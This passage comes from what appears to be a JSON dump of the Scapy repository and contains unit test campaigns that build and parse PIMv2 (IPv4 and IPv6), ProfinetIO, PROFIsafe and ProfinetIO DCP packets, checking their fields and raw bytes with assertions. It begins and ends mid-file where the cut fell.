dst=\"224.0.0.13\")/\\\n                  PIMv2Hdr(version=2, type=0, reserved=0)/\\\n                  PIMv2Hello(option=[PIMv2HelloHoldtime(type=1, holdtime=105), PIMv2HelloDRPriority(type=19, dr_priority=0), \n                  PIMv2HelloLANPruneDelay(type=2, value=[PIMv2HelloLANPruneDelayValue(t=0, propagation_delay=500, override_interval=2500)]),\n                  PIMv2HelloGenerationID(type=20, generation_id=459007194)])\n\nassert raw(hello_delay_pkt) == b'\\x01\\x00^\\x00\\x00\\r\\x00\\xd0\\xcb\\x00\\xba\\xe4\\x08\\x00E\\xc0\\x006Y\\xfd\\x00\\x00\\x01gTm\\x15\\x15\\x15\\x15\\xe0\\x00\\x00\\r \\x00\\xd3p\\x00\\x01\\x00\\x02\\x00i\\x00\\x13\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x04\\x01\\xf4\\t\\xc4\\x00\\x14\\x00\\x04\\x1b[\\xe4\\xda'\n\nhello_refresh_pkt = Ether(dst=\"01:00:5e:00:00:0d\", src=\"c2:01:52:72:00:00\")/IP(version=4, ihl=5, tos=0xc0, id=121, ttl=1, proto=103, src=\"10.0.0.1\", dst=\"224.0.0.13\")/\\\n                    PIMv2Hdr(version=2, type=0, reserved=0)/\\\n                    PIMv2Hello(option=[PIMv2HelloHoldtime(type=1, holdtime=105), PIMv2HelloGenerationID(type=20, generation_id=3613938422),\n                    PIMv2HelloDRPriority(type=19, dr_priority=1), \n                    PIMv2HelloStateRefresh(type=21, value=[PIMv2HelloStateRefreshValue(version=1, interval=0, reserved=0)])])\n\nassert raw(hello_refresh_pkt) == b'\\x01\\x00^\\x00\\x00\\r\\xc2\\x01Rr\\x00\\x00\\x08\\x00E\\xc0\\x006\\x00y\\x00\\x00\\x01g\\xce\\x1a\\n\\x00\\x00\\x01\\xe0\\x00\\x00\\r \\x00\\xb3\\xeb\\x00\\x01\\x00\\x02\\x00i\\x00\\x14\\x00\\x04\\xd7hR\\xf6\\x00\\x13\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x15\\x00\\x04\\x01\\x00\\x00\\x00'\n\n= PIMv2 Join/Prune - build\n\njoin_pkt = Ether(dst=\"01:00:5e:00:00:0d\", src=\"c2:02:3d:80:00:01\")/IP(version=4, ihl=5, tos=0xc0, id=139, ttl=1, proto=103, src=\"10.0.0.14\", dst=\"224.0.0.13\")/\\\n           PIMv2Hdr(version=2, type=3, reserved=0)/\\\n           PIMv2JoinPrune(up_addr_family=1, up_encoding_type=0, up_neighbor_ip=\"10.0.0.13\", reserved=0, num_group=1, holdtime=210,\n           jp_ips=[PIMv2GroupAddrs(addr_family=1, encoding_type=0, bidirection=0, reserved=0, admin_scope_zone=0,\n           mask_len=32, gaddr=\"239.123.123.123\", \n           join_ips=[PIMv2JoinAddrs(addr_family=1, encoding_type=0, rsrvd=0, sparse=1, wildcard=1,\n             rpt=1, mask_len=32, src_ip=\"1.1.1.1\")], \n           prune_ips=[])\n           ] )\n     \n\nassert raw(join_pkt) == b'\\x01\\x00^\\x00\\x00\\r\\xc2\\x02=\\x80\\x00\\x01\\x08\\x00E\\xc0\\x006\\x00\\x8b\\x00\\x00\\x01g\\xcd\\xfb\\n\\x00\\x00\\x0e\\xe0\\x00\\x00\\r#\\x00Z\\xe5\\x01\\x00\\n\\x00\\x00\\r\\x00\\x01\\x00\\xd2\\x01\\x00\\x00 \\xef{{{\\x00\\x01\\x00\\x00\\x01\\x00\\x07 \\x01\\x01\\x01\\x01'\n\n\n\nprune_pkt = Ether(dst=\"01:00:5e:00:00:0d\", src=\"c2:02:3d:80:00:01\")/IP(version=4, ihl=5, tos=0xc0, id=139, ttl=1, proto=103, src=\"10.0.0.2\", dst=\"224.0.0.13\")/\\\n            PIMv2Hdr(version=2, type=3, reserved=0)/\\\n            PIMv2JoinPrune(up_addr_family=1, up_encoding_type=0, up_neighbor_ip=\"10.0.0.1\", reserved=0, num_group=1, holdtime=210,\n            jp_ips=[PIMv2GroupAddrs(addr_family=1, encoding_type=0, bidirection=0, reserved=0, admin_scope_zone=0,\n             mask_len=32, gaddr=\"239.123.123.123\",\n             prune_ips=[PIMv2PruneAddrs(addr_family=1, encoding_type=0, rsrvd=0, sparse=0, wildcard=0, rpt=0,\n             mask_len=32, src_ip=\"172.16.40.10\")])\n                                              ]\n                                    )\n\nassert raw(prune_pkt) == b'\\x01\\x00^\\x00\\x00\\r\\xc2\\x02=\\x80\\x00\\x01\\x08\\x00E\\xc0\\x006\\x00\\x8b\\x00\\x00\\x01g\\xce\\x07\\n\\x00\\x00\\x02\\xe0\\x00\\x00\\r#\\x00\\x8f\\xd8\\x01\\x00\\n\\x00\\x00\\x01\\x00\\x01\\x00\\xd2\\x01\\x00\\x00 \\xef{{{\\x00\\x00\\x00\\x01\\x01\\x00\\x00 \\xac\\x10(\\n'\n\n\n\n\n\n####################################################################################\n# IPv6 added\n####################################################################################\n\n\n= IPv6 PIMv2 Hello - instantiation\n\nhello_data6 = b'33\\x00\\x00\\x00\\r\\x02\\x00\\x00\\x00\\x00\\x01\\x86\\xddk\\x80\\x00\\x00\\x008g\\x01\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r \\x00\\xe4G\\x00\\x01\\x00\\x02\\x00i\\x00\\x02\\x00\\x04\\x01\\xf4\\t\\xc4\\x00\\x13\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x14\\x00\\x04:I\\x8b\\xa3\\x00\\x18\\x00\\x12\\x02\\x00 \\x01\\xa7\\xff@\\n\"\\t\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02'\n\nhello_pkt6 = Ether(hello_data6)\n\nassert (hello_pkt6[PIMv2Hdr].version == 2)\nassert (hello_pkt6[PIMv2Hdr].type == 0)\nassert (len(hello_pkt6[PIMv2Hello].option) == 5)\nassert (hello_pkt6[PIMv2Hello].option[0][PIMv2HelloHoldtime].type == 1)\nassert (hello_pkt6[PIMv2Hello].option[0][PIMv2HelloHoldtime].holdtime == 105)\nassert (hello_pkt6[PIMv2Hello].option[1][PIMv2HelloLANPruneDelay].type == 2)\nassert (hello_pkt6[PIMv2Hello].option[1][PIMv2HelloLANPruneDelay].value[0][PIMv2HelloLANPruneDelayValue].t == 0)\nassert (hello_pkt6[PIMv2Hello].option[1][PIMv2HelloLANPruneDelay].value[0][PIMv2HelloLANPruneDelayValue].propagation_delay == 500)\nassert (hello_pkt6[PIMv2Hello].option[1][PIMv2HelloLANPruneDelay].value[0][PIMv2HelloLANPruneDelayValue].override_interval == 2500)\nassert (hello_pkt6[PIMv2Hello].option[2][PIMv2HelloDRPriority].type == 19)\nassert (hello_pkt6[PIMv2Hello].option[2][PIMv2HelloDRPriority].dr_priority == 1)\nassert (hello_pkt6[PIMv2Hello].option[3][PIMv2HelloGenerationID].type == 20)\n\nrepr(PIMv2HelloLANPruneDelayValue(t=1))\n\n= IPv6 PIMv2 Join/Prune - instantiation\n\njp_data6join = b'33\\x00\\x00\\x00\\r\\x02\\x00\\x00\\x00\\x00\\x01\\x86\\xddk\\x80\\x00\\x00\\x00Fg\\x01\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r#\\x00\\xc6X\\x02\\x00\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\xfc\\x87\\xff\\xff\\xfe\\x00\\x01A\\x00\\x01\\x00\\xd2\\x02\\x00\\x00\\x80\\xff>\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x02\\x00\\x04\\x80$\\x04\\x80\\x00\\x00\\x01\\xf0\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\njp_pkt6 = Ether(jp_data6join)\n\nassert (jp_pkt6[PIMv2Hdr].version == 2)\nassert (jp_pkt6[PIMv2Hdr].type == 3)\nassert (jp_pkt6[PIMv2JoinPrune].up_addr_family == 2)\nassert (jp_pkt6[PIMv2JoinPrune].up_encoding_type == 0)\nassert (jp_pkt6[PIMv2JoinPrune].up_neighbor_ip == 'fe80::fc87:ffff:fe00:141')\nassert (jp_pkt6[PIMv2JoinPrune].reserved == 0)\nassert (jp_pkt6[PIMv2JoinPrune].num_group == 1)\nassert (jp_pkt6[PIMv2JoinPrune].holdtime == 210)\nassert (jp_pkt6[PIMv2JoinPrune].num_group == len(jp_pkt6[PIMv2JoinPrune].jp_ips))\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].addr_family == 2)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].encoding_type == 0)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].bidirection == 0)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].reserved == 0)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].admin_scope_zone == 0)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].mask_len == 128)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].gaddr == 'ff3e::8000:1')\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].num_joins == 1)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].num_joins == len(jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips))\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].addr_family == 2)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].encoding_type == 0)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].rsrvd == 0)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].sparse == 1)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].wildcard == 0)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].rpt == 0)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].mask_len == 128)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].src_ip == '2404:8000:1:f001::1')\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].num_prunes == 0)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].num_prunes == len(jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips))\n\n\n\njp_data6prune = b'33\\x00\\x00\\x00\\r\\x02\\x00\\x00\\x00\\x00\\x01\\x86\\xddk\\x80\\x00\\x00\\x00Fg\\x01\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r#\\x00\\xc6X\\x02\\x00\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\xfc\\x87\\xff\\xff\\xfe\\x00\\x01A\\x00\\x01\\x00\\xd2\\x02\\x00\\x00\\x80\\xff>\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x02\\x00\\x04\\x80$\\x04\\x80\\x00\\x00\\x01\\xf0\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\njp_pkt6 = Ether(jp_data6prune)\n\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].addr_family == 2)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].encoding_type == 0)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].bidirection == 0)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].reserved == 0)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].admin_scope_zone == 0)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].mask_len == 128)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].gaddr == 'ff3e::8000:1')\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].num_joins == 0)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].num_joins == len(jp_pkt6[PIMv2JoinPrune].jp_ips[0].join_ips))\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].num_prunes == 1)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].num_prunes == len(jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips))\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips[0][PIMv2PruneAddrs].addr_family == 2)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips[0][PIMv2PruneAddrs].encoding_type == 0)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips[0][PIMv2PruneAddrs].rsrvd == 0)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips[0][PIMv2PruneAddrs].sparse == 1)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips[0][PIMv2PruneAddrs].wildcard == 0)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips[0][PIMv2PruneAddrs].rpt == 0)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips[0][PIMv2PruneAddrs].mask_len == 128)\nassert (jp_pkt6[PIMv2JoinPrune].jp_ips[0].prune_ips[0][PIMv2PruneAddrs].src_ip == '2404:8000:1:f001::1')\n\n\n\n\n= IPv6 PIMv2 Hello - build\n\nhello_delay_pkt6 = Ether(dst='33:33:00:00:00:0d', src='02:00:00:00:00:01')/ \\\n                   IPv6(tc=0xb8, nh=103, hlim=1, src='fe80::ff:fe00:1', dst='ff02::d')/ \\\n                   PIMv2Hdr()/ \\\n                   PIMv2Hello(option=[ \\\n                    PIMv2HelloHoldtime(holdtime=105),\n                    PIMv2HelloLANPruneDelay(value=[PIMv2HelloLANPruneDelayValue(propagation_delay=500, override_interval=2500)]),\n                    PIMv2HelloDRPriority(dr_priority=1),\n                    PIMv2HelloGenerationID(generation_id=977898403),\n                    PIMv2HelloAddrList(value=[PIMv2HelloAddrListValue(addr_family=2,prefix='2001:a7ff:400a:2209::2')]),\n                  ])\n\n\nassert raw(hello_delay_pkt6) == hello_data6 \n\n\n\n\n\n= IPv6 PIMv2 Join/Prune - build\n\n     \njoin_pkt6 = Ether(dst='33:33:00:00:00:0d', src='02:00:00:00:00:01')/\\\n           IPv6(tc=184, nh=103, hlim=1, src='fe80::ff:fe00:1', dst='ff02::d')/ \\\n           PIMv2Hdr(version=2, type=3, reserved=0)/ \\\n           PIMv2JoinPrune(jp_ips=[ \\\n             PIMv2GroupAddrs(join_ips=[\n               PIMv2JoinAddrs(addr_family=2, sparse=1, wildcard=0, rpt=0, mask_len=128, src_ip='2404:8000:1:f001::1')],\n               addr_family=2, admin_scope_zone=0, mask_len=128, gaddr='ff3e::8000:1',\n               num_joins=1, num_prunes=0)],\n             up_addr_family=2, up_neighbor_ip='fe80::fc87:ffff:fe00:141', num_group=1, holdtime=210)\n\n\nassert raw(join_pkt6) == jp_data6join\n\n\n\nprune_pkt6 = Ether(dst='33:33:00:00:00:0d', src='02:00:00:00:00:01')/ \\\n             IPv6(tc=184, nh=103, hlim=1, src='fe80::ff:fe00:1', dst='ff02::d')/ \\\n             PIMv2Hdr()/ \\\n             PIMv2JoinPrune(jp_ips=[ \\\n               PIMv2GroupAddrs(prune_ips=[ \\\n                 PIMv2PruneAddrs(addr_family=2, sparse=1, wildcard=0, rpt=0, mask_len=128, src_ip='2404:8000:1:f001::1')],\n               addr_family=2, mask_len=128, gaddr='ff3e::8000:1',\n               num_joins=0, num_prunes=1)],\n               up_addr_family=2, up_neighbor_ip='fe80::fc87:ffff:fe00:141', num_group=1, holdtime=210)\n\n\nassert raw(prune_pkt6) == jp_data6prune\n\n\n"
  },
  {
    "path": "test/contrib/pnio.uts",
    "content": "# coding: utf8\n% ProfinetIO layer test campaign\n\n+ Syntax check\n= Import the ProfinetIO layer\nfrom scapy.contrib.pnio import *\nfrom scapy.config import conf\nimport re\nold_conf_dissector = conf.debug_dissector\nconf.debug_dissector=True\n\n\n+ Check DCE/RPC layer\n\n= ProfinetIO default values\nraw(ProfinetIO()) == b'\\x00\\x00'\n\n= ProfinetIO overloads Ethertype\np = Ether() / ProfinetIO()\np.type == 0x8892\n\n= ProfinetIO overloads UDP dport\np = UDP() / ProfinetIO()\np.dport == 0x8892\n\n= Ether guesses ProfinetIO as payload class\np = Ether(hex_bytes('ffffffffffff00000000000088920102'))\nisinstance(p.payload, ProfinetIO) and p.frameID == 0x0102\n\n= UDP guesses ProfinetIO as payload class\np = UDP(hex_bytes('12348892000a00000102'))\nisinstance(p.payload, ProfinetIO) and p.frameID == 0x0102\n\n\n+ PNIO RTC PDU tests\n\n= ProfinetIO PNIORealTime_IOxS parsing of a single status\n\np = PNIORealTime_IOxS(b'\\x80')\nassert p.dataState == 1\nassert p.instance == 0\nassert p.reserved == 0\nassert p.extension == 0\n\np = PNIORealTime_IOxS(b'\\xe1')\nassert p.dataState == 1\nassert p.instance == 3\nassert p.reserved == 0\nassert p.extension == 1\nTrue\n\n= ProfinetIO PNIORealTime_IOxS building of a single status\np = PNIORealTime_IOxS(dataState = 'good', instance='subslot', extension=0)\nassert raw(p) == b'\\x80'\n\np = PNIORealTime_IOxS(dataState = 'bad', instance='device', extension=1)\nassert raw(p) == b'\\x41'\nTrue\n\n= ProfinetIO PNIORealTime_IOxS parsing with multiple statuses\nTestPacket = type(\n    'TestPacket',\n    (Packet,),\n    {\n        'name': 'TestPacket',\n        'fields_desc': [\n            PacketListField('data', [], next_cls_cb= PNIORealTime_IOxS.is_extension_set)\n        ],\n    }\n)\n\np = TestPacket(b'\\x81\\xe1\\x01\\x80')\nassert len(p.data) == 4\nassert p.data[0].dataState == 1\nassert p.data[0].instance == 0\nassert p.data[0].reserved == 0\nassert p.data[0].extension == 1\nassert p.data[1].dataState == 1\nassert p.data[1].instance == 3\nassert p.data[1].reserved == 0\nassert p.data[1].extension == 1\nassert p.data[2].dataState == 0\nassert p.data[2].instance == 0\nassert p.data[2].reserved == 0\nassert p.data[2].extension == 1\nassert p.data[3].dataState == 1\nassert p.data[3].instance == 0\nassert p.data[3].reserved == 0\nassert p.data[3].extension == 0\n\n= ProfinetIO RTC PDU parsing without configuration\np = Ether(b'\\x00\\x02\\x04\\x06\\x08\\x0a\\x01\\x03\\x05\\x07\\x09\\x0B\\x88\\x92\\x80\\x00\\x01\\x02\\x03\\x04\\xf0\\x00\\x35\\x00')\nassert p[Ether].dst == '00:02:04:06:08:0a'\nassert p[Ether].src == '01:03:05:07:09:0b'\nassert p[Ether].type == 0x8892\nassert p[ProfinetIO].frameID == 0x8000\nassert isinstance(p[ProfinetIO].payload, PNIORealTimeCyclicPDU)\nassert len(p[PNIORealTimeCyclicPDU].data) == 1\nassert isinstance(p[PNIORealTimeCyclicPDU].data[0], PNIORealTimeCyclicDefaultRawData)\nassert p[PNIORealTimeCyclicDefaultRawData].data == b'\\x01\\x02\\x03\\x04'\nassert p[PNIORealTimeCyclicPDU].padding == b''\nassert p[PNIORealTimeCyclicPDU].cycleCounter == 0xf000\nassert p[PNIORealTimeCyclicPDU].dataStatus == 0x35\nassert p[PNIORealTimeCyclicPDU].transferStatus == 0\nTrue\n\n= ProfinetIO RTC PDU building\np = Ether(src='01:03:05:07:09:0b', dst='00:02:04:06:08:0a')/ProfinetIO(frameID = 'PTCP-RTSyncPDU')/PNIORealTimeCyclicPDU(\n    data=[\n        PNIORealTimeCyclicPDU.build_fixed_len_raw_type(10)(data = b'\\x80'*10)\n    ],\n    padding = b'\\x00'*8,\n    cycleCounter = 900,\n    dataStatus = 0x35,\n    transferStatus = 0\n)\n\nassert(\n    raw(p) == \\\n        b'\\x00\\x02\\x04\\x06\\x08\\x0a' \\\n        b'\\x01\\x03\\x05\\x07\\x09\\x0b' \\\n        b'\\x88\\x92' \\\n        b'\\x00\\x80' \\\n        b'\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80' \\\n        b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n        b'\\x03\\x84' \\\n        b'\\x35' \\\n        b'\\x00'\n)\n\n= ProfinetIO RTC PDU parsing with config\n\nscapy.config.conf.contribs['PNIO_RTC'][('01:03:05:07:09:0b', '00:02:04:06:08:0a', 0x8010)] = [\n    PNIORealTimeCyclicPDU.build_fixed_len_raw_type(5),\n    PNIORealTimeCyclicPDU.build_fixed_len_raw_type(3),\n    PNIORealTimeCyclicPDU.build_fixed_len_raw_type(2)\n]\np = Ether(\n    b'\\x00\\x02\\x04\\x06\\x08\\x0a' \\\n    b'\\x01\\x03\\x05\\x07\\x09\\x0B' \\\n    b'\\x88\\x92' \\\n    b'\\x80\\x10' \\\n    b'\\x01\\x02\\x03\\x04\\x05' \\\n    b'\\x01\\x02\\x03' \\\n    b'\\x01\\x02' \\\n    b'\\x00\\x00' \\\n    b'\\xf0\\x00' \\\n    b'\\x35' \\\n    b'\\x00'\n)\n\nassert p[Ether].dst == '00:02:04:06:08:0a'\nassert p[Ether].src == '01:03:05:07:09:0b'\nassert p[Ether].type == 0x8892\nassert p[ProfinetIO].frameID == 0x8010\nassert isinstance(p[ProfinetIO].payload, PNIORealTimeCyclicPDU)\nassert len(p[PNIORealTimeCyclicPDU].data) == 3\nassert isinstance(p[PNIORealTimeCyclicPDU].data[0], scapy.config.conf.raw_layer)\nassert p[PNIORealTimeCyclicPDU].data[0].data == b'\\x01\\x02\\x03\\x04\\x05'\nassert isinstance(p[PNIORealTimeCyclicPDU].data[1], scapy.config.conf.raw_layer)\nassert p[PNIORealTimeCyclicPDU].data[1].data == b'\\x01\\x02\\x03'\nassert isinstance(p[PNIORealTimeCyclicPDU].data[2], scapy.config.conf.raw_layer)\nassert p[PNIORealTimeCyclicPDU].data[2].data == b'\\x01\\x02'\nassert p[PNIORealTimeCyclicPDU].padding == b'\\x00' * 2\nassert p[PNIORealTimeCyclicPDU].cycleCounter == 0xf000\nassert p[PNIORealTimeCyclicPDU].dataStatus == 0x35\nassert p[PNIORealTimeCyclicPDU].transferStatus == 0\n\np = Ether(b'\\x00\\x02\\x04\\x06\\x08\\x0a\\x01\\x03\\x05\\x07\\x09\\x0B\\x88\\x92\\x80\\x00\\x01\\x02\\x03\\x04\\xf0\\x00\\x35\\x00')\nassert p[Ether].dst == '00:02:04:06:08:0a'\nassert p[Ether].src == '01:03:05:07:09:0b'\nassert p[Ether].type == 0x8892\nassert p[ProfinetIO].frameID == 0x8000\nassert isinstance(p[ProfinetIO].payload, PNIORealTimeCyclicPDU)\nassert len(p[PNIORealTimeCyclicPDU].data) == 1\nassert isinstance(p[PNIORealTimeCyclicPDU].data[0], PNIORealTimeCyclicDefaultRawData)\nassert p[PNIORealTimeCyclicDefaultRawData].data == b'\\x01\\x02\\x03\\x04'\nassert p[PNIORealTimeCyclicPDU].padding == b''\nassert p[PNIORealTimeCyclicPDU].cycleCounter == 0xf000\nassert p[PNIORealTimeCyclicPDU].dataStatus == 0x35\nassert p[PNIORealTimeCyclicPDU].transferStatus == 0\nTrue\n\n= PROFIsafe parsing (query with F_CRC_SEED=0)\np = PROFIsafe.build_PROFIsafe_class(PROFIsafeControl, 2)(b'\\x80\\x80\\x40\\x01\\x02\\x03')\nassert p.data == b'\\x80\\x80'\nassert p.control == 0x40\nassert p.crc == 0x010203\nTrue\n\n= PROFIsafe parsing (query with F_CRC_SEED=1)\np = PROFIsafe.build_PROFIsafe_class(PROFIsafeControlCRCSeed, 2)(b'\\x80\\x80\\x40\\x01\\x02\\x03\\x04')\nassert p.data == b'\\x80\\x80'\nassert p.control == 0x40\nassert p.crc == 0x01020304\nTrue\n\n= PROFIsafe parsing (response with F_CRC_SEED=0)\np = PROFIsafe.build_PROFIsafe_class(PROFIsafeStatus, 1)(b'\\x80\\x40\\x01\\x02\\x03')\nassert p.data == b'\\x80'\nassert p.status == 0x40\nassert p.crc == 0x010203\nTrue\n\n= PROFIsafe parsing (response with F_CRC_SEED=1)\np = PROFIsafe.build_PROFIsafe_class(PROFIsafeStatusCRCSeed, 1)(b'\\x80\\x40\\x01\\x02\\x03\\x04')\nassert p.data == b'\\x80'\nassert p.status == 0x40\nassert p.crc == 0x01020304\nTrue\n\n= PROFIsafe building (query with F_CRC_SEED=0)\np = PROFIsafe.build_PROFIsafe_class(PROFIsafeControl, 2)(data = b'\\x81\\x80', control=0x40, crc=0x040506)\nassert raw(p) == b'\\x81\\x80\\x40\\x04\\x05\\x06'\n\n= PROFIsafe building (query with F_CRC_SEED=1)\np = PROFIsafe.build_PROFIsafe_class(PROFIsafeControlCRCSeed, 2)(data = b'\\x81\\x80', control=0x02, crc=0x04050607)\nassert raw(p) == b'\\x81\\x80\\x02\\x04\\x05\\x06\\x07'\n\n= PROFIsafe building (response with F_CRC_SEED=0)\np = PROFIsafe.build_PROFIsafe_class(PROFIsafeStatus, 3)(data = b'\\x01\\x81\\x00', status=0x01, crc=0x040506)\nassert raw(p) == b'\\x01\\x81\\x00\\x01\\x04\\x05\\x06'\n\n= PROFIsafe building (response with F_CRC_SEED=1)\np = PROFIsafe.build_PROFIsafe_class(PROFIsafeStatusCRCSeed, 3)(data = b'\\x01\\x81\\x80', status=0x01, crc=0x04050607)\nassert raw(p) == b'\\x01\\x81\\x80\\x01\\x04\\x05\\x06\\x07'\n\nconf.debug_dissector = old_conf_dissector\n"
  },
  {
    "path": "test/contrib/pnio_dcp.uts",
    "content": "# coding: utf8\n% ProfinetIO DCP layer test campaign\n\n+ Syntax check\n= Import the ProfinetIO layer\nfrom scapy.contrib.pnio import *\nfrom scapy.contrib.pnio_dcp import *\nfrom scapy.config import conf\nimport re\nold_conf_dissector = conf.debug_dissector\nconf.debug_dissector=True\n\n+ PNIO DCP PDU tests\n\n\n= DCP Identify All Request parsing\n\np = Ether(b'\\x01\\x0e\\xcf\\x00\\x00\\x00\\x01\\x23\\x45\\x67\\x89\\xab\\x88\\x92\\xfe\\xfe' \\\n    b'\\x05\\x00\\x01\\x00\\x00\\x01\\x00\\x01\\x00\\x04\\xff\\xff\\x00\\x00\\x00\\x00' \\\n    b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n    b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\n\nassert p[Ether].dst == '01:0e:cf:00:00:00'\nassert p[Ether].src == '01:23:45:67:89:ab'\nassert p[Ether].type == 0x8892\nassert p[ProfinetIO].frameID == 0xfefe\nassert p[ProfinetDCP].service_id == 0x05\nassert p[ProfinetDCP].service_type == 0x00\nassert p[ProfinetDCP].xid == 0x1000001\nassert p[ProfinetDCP].reserved == 0x01\nassert p[ProfinetDCP].dcp_data_length == 0x04\nassert p[ProfinetDCP].option == 0xff\nassert p[ProfinetDCP].sub_option == 0xff\nassert p[ProfinetDCP].dcp_block_length == 0x00\n\n\n= DCP Set Request parsing\n\np = Ether(b'\\x01\\x23\\x45\\x67\\x89\\xac\\x01\\x23\\x45\\x67\\x89\\xab\\x88\\x92\\xfe\\xfd' \\\n       b'\\x04\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x0c\\x02\\x02\\x00\\x08\\x00\\x01' \\\n       b'\\x64\\x65\\x76\\x69\\x63\\x65\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n       b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\n\nassert p[Ether].dst == '01:23:45:67:89:ac'\nassert p[Ether].src == '01:23:45:67:89:ab'\nassert p[Ether].type == 0x8892\nassert p[ProfinetIO].frameID == 0xfefd\nassert p[ProfinetDCP].service_id == 0x04\nassert p[ProfinetDCP].service_type == 0x00\nassert p[ProfinetDCP].xid == 0x0000001\nassert p[ProfinetDCP].reserved == 0x00\nassert p[ProfinetDCP].dcp_data_length == 0x0c\nassert p[ProfinetDCP].option == 0x02\nassert p[ProfinetDCP].sub_option == 0x02\nassert p[ProfinetDCP].dcp_block_length == 0x08\nassert p[ProfinetDCP].block_qualifier ==  0x01\n\n\n= DCP Identify Response parsing\n\np = Ether(b'\\x94\\x65\\x9c\\x51\\x90\\x7d\\xac\\x64\\x17\\x21\\x35\\xcf\\x81\\x00\\x00\\x00' \\\n       b'\\x88\\x92\\xfe\\xff\\x05\\x01\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x4e\\x02\\x05' \\\n       b'\\x00\\x04\\x00\\x00\\x02\\x07\\x02\\x01\\x00\\x09\\x00\\x00\\x45\\x54\\x32\\x30' \\\n       b'\\x30\\x53\\x50\\x00\\x02\\x02\\x00\\x08\\x00\\x00\\x64\\x65\\x76\\x69\\x63\\x65' \\\n       b'\\x02\\x03\\x00\\x06\\x00\\x00\\x00\\x2a\\x03\\x13\\x02\\x04\\x00\\x04\\x00\\x00' \\\n       b'\\x01\\x00\\x02\\x07\\x00\\x04\\x00\\x00\\x00\\x01\\x01\\x02\\x00\\x0e\\x00\\x01' \\\n       